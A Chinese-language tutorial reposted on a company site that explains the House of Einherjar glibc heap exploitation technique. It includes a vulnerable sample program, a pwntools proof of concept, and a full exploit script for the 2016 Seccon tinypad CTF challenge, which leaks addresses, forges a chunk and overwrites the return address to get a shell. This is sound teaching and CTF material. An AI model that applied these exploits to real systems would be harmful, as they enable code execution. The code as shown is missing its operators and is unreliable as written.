ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

House of Einherjar 深入解析:滥用 free 后向合并实现任意地址 chunk 分配(ctf-wiki 堆利用技术)

House of Einherjar 深入解析:滥用 free 后向合并实现任意地址 chunk 分配(ctf-wiki 堆利用技术) 文档网络安全教程【免费下载链接】ctf-wikiCome and join us, we need you!项目地址https://gitcode.com/gh_mirrors/ct/ctf-wiki点击查看免费下载House of Einherjar 是一种由 Hiroki Matsukuma 提出的堆利用技术其核心目标是强制malloc返回一个几乎任意地址的 chunk。它通过同时控制物理相邻 chunk 的prev_size与PREV_INUSE位篡改free中后向合并合并低地址 chunk的目标位置从而把空闲块合并到攻击者选定的伪造地址处。本文基于 ctf-wiki 的 house-of-einherjar.md 展开并结合仓库中 释放内存块、Unlink、堆相关数据结构 等章节的源码级细节完整还原该技术的原理、利用过程与 2016 Seccon tinypad 实战。读完本文你将掌握后向合并与 unlink 的底层执行逻辑、如何通过溢出同时控制prev_size与PREV_INUSE、如何构造 fake chunk 绕过 unlink 检查以及如何在一道真实 CTF 题目中完成UAF 泄漏堆/ libc → House of Einherjar 伪造 chunk → 覆盖返回地址 get shell的完整攻击链。技术背景为什么后向合并可以被滥用malloc_chunk 与字段复用在 ptmalloc 中每个由malloc申请的内存块被称为chunk用统一的malloc_chunk结构体描述详见 堆相关数据结构struct malloc_chunk { INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */ INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */ struct malloc_chunk* fd; /* double links -- used only if free. */ struct malloc_chunk* bk; /* Only used for large blocks: pointer to next larger size. */ struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */ struct malloc_chunk* bk_nextsize; };House of Einherjar 依赖以下三个由结构布局决定的客观事实两个物理相邻的 chunk 会共享prev_size字段尤其当低地址 chunk 处于使用状态时高地址 chunk 的prev_size字段对该低地址 chunk 而言是无用空间可以被低地址 chunk 的数据区复用这就是 chunk 间的空间复用。因此攻击者可以通过写低地址 chunk 覆盖高地址 chunk 的prev_size字段。PREV_INUSE位标记前一个物理相邻 chunk 的使用状态且该位与prev_size在内存中物理相邻它位于高地址 chunk 的size字段最低位。后向合并时新的 chunk 位置取决于宏chunk_at_offset(p, -((long) prevsize))即p的地址减去伪造的prev_size。也就是说合并的落点完全由prev_size决定。其中第 3 点对应的宏定义见 heap-structure.md为/* Treat space at ptr offset as a chunk */ #define chunk_at_offset(p, s) ((mchunkptr)(((char *) (p)) (s)))结论如果我们能同时控制一个 chunk 的prev_size与PREV_INUSE字段那么就可以让后向合并把新 chunk指向几乎任何位置。free 中的后向合并操作free函数中的后向合并consolidate backward核心代码位于_int_free中见 free.md/* consolidate backward */ if (!prev_inuse(p)) { prevsize prev_size(p); size prevsize; p chunk_at_offset(p, -((long) prevsize)); unlink(av, p, bck, fwd); }执行逻辑是当当前被释放 chunkp的prev_inuse位为 0即物理低地址相邻 chunk 处于空闲状态时读取prev_size作为前一个 chunk 的大小把p回退到chunk_at_offset(p, -prevsize)然后对该位置的 chunk 执行unlink。整个过程后向合并、前向合并、放入 unsorted bin的详细代码可在 free.md 中查看。该技术本质上是为了减少堆碎片化而设计的空闲块与其相邻空闲块合并以应对更大的内存请求。利用原理与利用过程利用前提Off-By-One 与 NULL 字节溢出House of Einherjar 常见的触发载体是堆上的 off-by-one 漏洞。正如 off-by-one.md 所述off-by-one 指写入字节数恰好超过缓冲区大小一个字节。在一些特殊大小的堆块中off-by-one 不仅可以修改下一个堆块的prev_size还可以修改下一个堆块的PREV_INUSE比特位——这正是本技术需要的同时控制两个字段的入口。值得注意的是在较新版本的 glibc 中_int_free的后向合并增加了一处检查2.28 及之前版本没有/* 最新版本中加入则通过 off-by-one 伪造 prev_size 的路径无法直接使用2.28 及之前都没有问题 */ if (__glibc_unlikely (chunksize(p) ! prevsize)) malloc_printerr (corrupted size vs. prev_size while consolidating);因此在 libc-2.29 及以上环境中传统通过 off-by-one/NULL 字节溢出伪造prev_size进行合并的思路受到限制利用时需要额外构造使chunksize(p) prevsize成立例如在目标落点伪造对应大小的真实 chunk header这一点在实战中务必先确认目标环境可通过 ptmalloc-check.md 了解各版本检查项差异。利用过程三步走溢出前Before overflowing假设初始堆布局如下存在物理相邻的两个已分配 chunkp0well-sized与p1。p0的数据区末尾与p1的prev_size字段共享同一块内存p1的size字段最低位PREV_INUSE为 1表示p0处于使用状态。溢出Overflowing假设p0一方面可以写prev_size字段通过写低地址 chunk 覆盖高地址 chunk 的prev_size另一方面存在 off-by-one 漏洞可以写下一个 chunkp1的PREV_INUSE位溢出后After overflowing将p1的prev_size字段设置为目标 chunk 位置与 p1 的差值。释放p1后后向合并得到的新 chunk 位置chunk_at_offset(p1, -((long) prevsize))即为我们想要的目标位置。由于合并流程会对新 chunk 执行unlink因此必须在目标 chunk 位置构造好 fake chunk以绕过 unlink 的各项检测见下文绕过 unlink 检查一节。攻击过程示例从 PoC 到绕过细节可被 House of Einherjar 攻击的示例程序#include stdio.h #include stdlib.h #include unistd.h int main(void){ char* s0 malloc(0x200); //构造fake chunk char* s1 malloc(0x18); char* s2 malloc(0xf0); char* s3 malloc(0x20); //为了不让s2与top chunk 合并 printf(begin\n); printf(%p\n, s0); printf(input s0\n); read(0, s0, 0x200); //读入fake chunk printf(input s1\n); read(0, s1, 0x19); //Off By One free(s2); return 0; }布局说明s00x200用于存放我们构造的 fake chunks10x18读入 0x19 字节构成 off-by-one写入的最后一个字节恰好覆盖s2的prev_size字段最低字节s1用户区大小 0x18 0x10 头 0x28而s2的prev_size位于s1尾部之后故 0x19 字节的写入会多覆盖 1 字节s20xf0是被释放触发合并的 chunks30x20用于隔离防止s2与 top chunk 合并。攻击脚本from pwn import * p process(./example) context.log_level debug #gdb.attach(p) p.recvuntil(begin\n) address int(p.recvline().strip(), 16) p.recvuntil(input s0\n) payload p64(0) p64(0x101) p64(address) * 2 A*0xe0 p64(address) * 2是为了绕过 if (__builtin_expect (FD-bk ! P || BK-fd ! P, 0)) \ malloc_printerr (corrupted double-linked list); payload p64(0x100) #fake size p.sendline(payload) p.recvuntil(input s1\n) payload A*0x10 p64(0x220) \x00 p.sendline(payload) p.recvall() p.close()脚本要点先向s0写入 fake chunkp64(0) p64(0x101)是 fake chunk 的prev_size与sizep64(address) * 2是 fake chunk 的fd与bk均指向自身起始地址随后A*0xe0填充数据区末尾p64(0x100)是 fake chunk 的 next chunk 的prev_size字段。再向s1写入A*0x10 p64(0x220) \x00前 0x10 字节填充s1用户区p64(0x220)覆盖s2的prev_size目标 fake chunk 与s2之间的距离最后一个\x00通过 off-by-one 把s2的size低字节PREV_INUSE 位清零。释放s2后合并落点即指向addresss0处的 fake chunk。绕过 unlink 检查与经典 unlink 利用的区别注意这里绕过 unlink 检查的方法与之前利用 unlink 漏洞时采用的方法不一样。利用 unlink 漏洞的时候经典做法是令p-fd p-3*4 p-bk p-2*4而在 House of Einherjar 中因为没有办法找到p所以直接令p-fd p p-bk p也就是说让 fake chunk 的fd、bk都指向自身从而满足 unlink 的双向链表完整性检查if (__builtin_expect (FD-bk ! P || BK-fd ! P, 0)) \ malloc_printerr (corrupted double-linked list);unlink 的完整检测代码与绕过思路可参考 unlink.md。另一个注意点fake chunk 的size究竟是0x101还是0x221payload p64(0) p64(0x101) p64(address) * 2 A*0xe0其实修改为下面这样也是可以的payload p64(0) p64(0x221) p64(address) * 2 A*0xe0按照道理来讲 fake chunk 的 size 是0x221才合理s1(0x28) s2(0x100) 0x128加上头部对齐等但为什么0x101也可以呢这是因为对 size 和 prev_size 的验证只发生在 unlink 里面而 unlink 中对应的验证是if (__builtin_expect (chunksize(P) ! prev_size (next_chunk(P)), 0)) \ malloc_printerr (corrupted size vs. prev_size);该检查只要求fake chunk 的 size与fake chunk 的 next chunk 的 prev_size相等。所以我们只需要再伪造 fake chunk 的 next chunk 的prev_size字段脚本中的payload p64(0x100)即可通过检查而不必让 fake chunk 的 size 与真实物理距离完全一致。使用该技术时的注意事项总结需要有溢出漏洞可以写物理相邻高地址 chunk 的prev_size与PREV_INUSE部分off-by-one 或任意长度溢出均可但至少能覆盖这两个字段。需要计算目的 chunk 与p1地址之间的差值因此必须先泄漏地址堆地址 / 目标内存地址。需要在目的 chunk 附近构造相应的 fake chunk从而绕过 unlink 的检测包括 size 一致性检查与双向链表完整性检查。从利用思路上看House of Einherjar 与 chunk-extend-overlapping.md 中介绍的 chunk extend/shrink 技术比较类似——都是通过篡改 chunk headersize/prev_size域来实现跨块操作与内存重叠。实战2016 Seccon tinypad题目链接ctf-wiki ctf-challenges 仓库中 2016_seccon_tinypad 目录基本功能分析程序依赖一个核心的读取函数读取指定长度字节的字符串当读取的长度恰好为指定长度时会出现 off-by-one 漏洞。通过分析程序基本功能是操作一个 tinypad主要有以下操作输出程序每次开头依次判断每个 memo 的指针是否为空如果不为空利用strlen求其长度并输出 memo 内容。由此可知最多有 4 个 memo。添加 memo遍历存储 memo 的变量tinypad根据其存储的大小判断 memo 是否在使用若有空位则分配一个 memo。程序只从 tinypad 起始偏移16*16256处开始使用每个 memo 存储两个字段该 memo 的大小和对应的指针。由于添加功能依赖上述读取函数存在 off-by-one 漏洞同时用户申请的 chunk 大小最大为 256 字节与 tinypad 前面未使用的 256 字节恰好一致。删除根据存储的大小判断 memo 是否在使用同时将相应 memo 大小设置为 0但并没有将指针设置为 NULL存在 Use After Free。在程序开头输出时就可能输出一些相关内容——这正是泄漏基地址的基础。编辑先将 memo 内容拷贝到 tinypad 前 256 个字节中。当 memo 存储了 256 个字节时就会产生 off-by-one。随后程序用strlen判断复制后 tinypad 的内容长度并输出接着用strlen求 memo 长度并读取指定长度内容到 tinypad读取后必然出现\x00最后把 tinypad 前 256 字节内容写回对应 memo。退出。基本利用思路利用删除时未将指针置为 NULL 的 UAF 漏洞泄漏堆的基地址。再次利用 UAF 漏洞泄漏 libc 的基地址。利用 House of Einherjar 方法在 tinypad 的前 256 字节中伪造 chunk。再次申请时即可控制 4 个 memo 的指针和内容。覆盖malloc_hook为 one_gadget 的思路在这里行不通编辑时程序用strlen判断可读取长度而malloc_hook初始为 0。因此改为修改程序 main 函数的返回地址为 one_gadget——返回地址以0x7f开头、长度足够可以覆盖为 one_gadget。为此需要泄漏 main 函数的返回地址由于 libc 中存有environ指针environ符号在 libc 中会导出而argc、argv不会导出可以先泄露出environ地址进而得到存储 main 函数返回地址的栈地址。最后修改 main 函数的返回地址为 one_gadget 地址获取 shell。具体利用脚本from pwn import * context.terminal [gnome-terminal, -x, sh, -c] if args[DEBUG]: context.log_level debug tinypad ELF(./tinypad) if args[REMOTE]: p remote(127.0.0.1, 7777) libc ELF(./libc.so.6) else: p process(./tinypad) libc ELF(./libc.so.6) main_arena_offset 0x3c4b20 log.info(PID: str(proc.pidof(p)[0])) def add(size, content): p.recvuntil((CMD) ) p.sendline(a) p.recvuntil((SIZE) ) p.sendline(str(size)) p.recvuntil((CONTENT) ) p.sendline(content) def edit(idx, content): p.recvuntil((CMD) ) p.sendline(e) p.recvuntil((INDEX) ) p.sendline(str(idx)) p.recvuntil((CONTENT) ) p.sendline(content) p.recvuntil(Is it OK?\n) p.sendline(Y) def delete(idx): p.recvuntil((CMD) ) p.sendline(d) p.recvuntil((INDEX) ) p.sendline(str(idx)) def run(): p.recvuntil( \n\n ) # 1. leak heap base add(0x70, a * 8) # idx 0 add(0x70, b * 8) # idx 1 add(0x100, c * 8) # idx 2 delete(2) # delete idx 1 delete(1) # delete idx 0, idx 0 point to idx 1 p.recvuntil( # CONTENT: ) data p.recvuntil(\n, dropTrue) # get pointer point to idx1 heap_base u64(data.ljust(8, \x00)) - 0x80 log.success(get heap base: hex(heap_base)) # 2. leak libc base # this will trigger malloc_consolidate # first idx0 will go to unsorted bin # second idx1 will merge with idx0(unlink), and point to idx0 # third idx1 will merge into top chunk # but cause unlink feture, the idx0s fd and bk wont change # so idx0 will leak the unsorted bin addr delete(3) p.recvuntil( # CONTENT: ) data p.recvuntil(\n, dropTrue) unsorted_offset_arena 8 10 * 8 main_arena u64(data.ljust(8, \x00)) - unsorted_offset_arena libc_base main_arena - main_arena_offset log.success(main arena addr: hex(main_arena)) log.success(libc base addr: hex(libc_base)) # 3. house of einherjar add(0x18, a * 0x18) # idx 0 # we would like trigger house of einherjar at idx 1 add(0x100, b * 0xf8 \x11) # idx 1 add(0x100, c * 0xf8) # idx 2 add(0x100, d * 0xf8) #idx 3 # create a fake chunk in tinypads 0x100 buffer, offset 0x20 tinypad_addr 0x602040 fakechunk_addr tinypad_addr 0x20 fakechunk_size 0x101 fakechunk p64(0) p64(fakechunk_size) p64(fakechunk_addr) p64( fakechunk_addr) edit(3, d * 0x20 fakechunk) # overwrite idx 1s prev_size and # set minaddr of size to \x00 # idx 0s chunk size is 0x20 diff heap_base 0x20 - fakechunk_addr log.info(diff between idx1 and fakechunk: hex(diff)) # \0 padding caused by strcpy diff_strip p64(diff).strip(\0) number_of_zeros len(p64(diff)) - len(diff_strip) for i in range(number_of_zeros 1): data diff_strip.rjust(0x18 - i, f) edit(1, data) delete(2) p.recvuntil(\nDeleted.) # fix the fake chunk size, fd and bk # fd and bk must be unsorted bin edit(4, d * 0x20 p64(0) p64(0x101) p64(main_arena 88) p64(main_arena 88)) # 3. overwrite malloc_hook with one_gadget one_gadget_addr libc_base 0x45216 environ_pointer libc_base libc.symbols[__environ] log.info(one gadget addr: hex(one_gadget_addr)) log.info(environ pointer addr: hex(environ_pointer)) #fake_malloc_chunk main_arena - 60 9 # set memo[0].size a*8, # set memo[0].content point to environ to leak environ addr fake_pad f * (0x100 - 0x20 - 0x10) a * 8 p64( environ_pointer) a * 8 p64(0x602148) # get a fake chunk add(0x100 - 8, fake_pad) # idx 2 #gdb.attach(p) # get environ addr p.recvuntil( # CONTENT: ) environ_addr p.recvuntil(\n, dropTrue).ljust(8, \x00) environ_addr u64(environ_addr) main_ret_addr environ_addr - 30 * 8 # set memo[0].content point to main_ret_addr edit(2, p64(main_ret_addr)) # overwrite main_ret_addr with one_gadget addr edit(1, p64(one_gadget_addr)) p.interactive() if __name__ __main__: run()脚本关键步骤解读泄漏堆基址先申请三个 chunk0x70、0x70、0x100删除 idx 2、idx 1利用 UAF 使 idx 0 的指针指向 idx 1 的 chunk读取出该指针后- 0x80得到heap_base。注意该偏移 0x80 依赖于目标环境的具体堆布局需要结合调试确认。泄漏 libc 基址删除 idx 3 触发malloc_consolidate通过 UAF 读出 unsorted bin 链上残留的fd指针减去unsorted_offset_arena 8 10 * 8得到main_arena再减去main_arena_offset 0x3c4b20libc-2.23 / Ubuntu 16.04 环境得到libc_base。House of Einherjar在 tinypad 的 0x100 缓冲区内偏移 0x20 处fakechunk_addr 0x602040 0x20构造 fake chunkprev_size0、size0x101、fdbkfakechunk_addr计算diff heap_base 0x20 - fakechunk_addr即待释放 chunk 与 fake chunk 的距离通过多次编辑 idx 1 的方式把diff写入其prev_size由于程序用strlen截断含\x00的diff需要拆解后用rjust(0x18 - i, f)逐字节逼近写入并借由 off-by-one 把size低字节清零delete(2)触发后向合并使合并落点落在 tinypad 上的 fake chunk随后修复 fake chunkedit(4, ...)将fd/bk均改为main_arena 88即 unsorted bin 链头保证后续add将 fake chunk 从链上摘下时链表指针合法。构造 memo 结构实现任意读写fake chunk 被分配后我们实际控制的是 tinypad 起始处的 4 个 memo 记录sizecontent_ptr二元组。利用fake_pad把 memo[0] 的content指针指向__environ从而在下次输出时泄漏environ地址由environ_addr - 30 * 8推得 main 函数返回地址在栈上的位置该偏移需按具体栈布局调试确认。get shell先edit(2, p64(main_ret_addr))把某 memo 的指针改为 main 返回地址所在栈地址再edit(1, p64(one_gadget_addr))将其覆盖为 one_gadgetlibc-2.23 的偏移0x45216程序返回时即跳转 one_gadget 拿到 shell。总结House of Einherjar 的核心价值在于它把释放操作变成了一个向任意目标地址写入/分配的工具。攻击者只需要三个条件即可奏效有溢出漏洞可以写物理相邻高地址 chunk 的prev_size与PREV_INUSE能计算目的 chunk 与待释放 chunk 的差值即需要地址泄漏能在目的 chunk 附近构造 fake chunk 以绕过 unlink 的检查。同时需要注意该技术的版本适用性libc-2.28 及以前通过 off-by-one 伪造prev_size的后向合并路径是畅通的而在 libc-2.29 及以后_int_free中新增的chunksize(p) ! prevsize检查要求 fake chunk 的 size 必须与prev_size一致利用时需要对 fake chunk 的头部做更完整的伪造。结合 unlink.md、off-by-one.md 与 chunk-extend-overlapping.md 一起阅读可以更系统地理解 ptmalloc 各利用手法的共性本质上都是通过控制 chunk header 中的size/prev_size与标记位误导堆管理器对相邻关系与链表结构的判断。赞分享文档网络安全教程【免费下载链接】ctf-wikiCome and join us, we need you!项目地址https://gitcode.com/gh_mirrors/ct/ctf-wiki点击查看免费下载相关推荐House of Einherjar 深入解析滥用 free 后向合并实现任意地址分配ctf-wiki 堆利用指南House of Einherjar 深入解析滥用 free 后向合并实现任意地址分配ctf wiki 堆利用指南 House of Einherjar文档网络安全教程ctf-wiki 堆利用系列House Of Force 原理、chunk 尺寸计算与实战ctf wiki 堆利用系列House Of Force 原理、chunk 尺寸计算与实战 House Of Force下称 HOF是 glibc ptm文档网络安全教程ctf-wiki 堆利用深度剖析House of Pig —— Tcache Stash Unlink 与 FSOP 的联合利用ctf wiki 堆利用深度剖析House of Pig —— Tcache Stash Unlink 与 FSOP 的联合利用 House of Pig文档网络安全教程上一篇Augustus未来展望路线图规划与社区发展愿景下一篇LiteFlow自定义验证规则验证逻辑扩展终极指南创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考
返回列表